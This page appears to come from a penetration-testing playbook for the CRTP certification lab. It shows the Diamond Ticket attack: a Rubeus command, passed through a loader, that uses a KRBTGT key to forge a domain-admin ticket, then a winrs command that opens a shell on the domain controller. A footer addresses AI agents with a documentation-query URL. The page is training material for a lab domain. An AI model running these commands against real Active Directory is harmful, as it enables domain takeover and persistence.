# CRTP Lab 10

## Task

Use Domain Admin privileges obtained earlier to execute the Diamond Ticket attack

We can use Rubeus for Diamond Ticket attack. We are modifying the TGT here.

Open a DA shell and use the KRBTGT key to modify and sign the TGT.

{% code overflow="wrap" %}

```
# ArgSplit for "diamond"
# Use Rubeus with Loader
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

{% endcode %}

Access the DC using winrs from the spawned process

```
winrs -r:dcorp-dc cmd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/persistence/diamond-ticket/crtp-lab-10.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
